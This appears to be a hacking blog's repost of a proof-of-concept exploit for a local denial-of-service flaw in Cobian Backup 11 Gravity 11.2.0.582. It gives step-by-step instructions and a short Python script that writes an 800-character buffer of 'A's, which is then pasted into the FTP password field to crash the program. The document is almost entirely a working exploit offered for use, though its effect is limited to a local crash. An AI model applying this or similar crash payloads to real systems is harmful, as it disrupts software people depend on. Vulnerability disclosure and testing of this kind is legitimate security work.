Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86373873

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Cobian Backup 11 Gravity 11.2.0.582 - 'Password' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-16
# Vendor Homepage: https://www.cobiansoft.com/
# Software Link: https://files.cobiansoft.com/programs/cbSetup.exe
# Tested Version: 11.2.0.582
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:
# 1.- Run python code: Cobian_Backup_11.2.0.582.py
# 2.- Open Cobian_Backup_11.2.0.582.txt and copy content to clipboard
# 3.- Open "Cobian Backup 11 Gravity User Interface"
# 4.- Task -> "New task"
# 5.- File -> Source "Add" -> FTP
# 6.- Host -> 10.10.10.10
# 7.- Port-> 21
# 8.- User name -> admin
# 9.- Paste ClipBoard on "Password"
# 10.- Ok
# 11.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 800
f = open ("Cobian_Backup_11.2.0.582.txt", "w")
f.write(buffer)
f.close()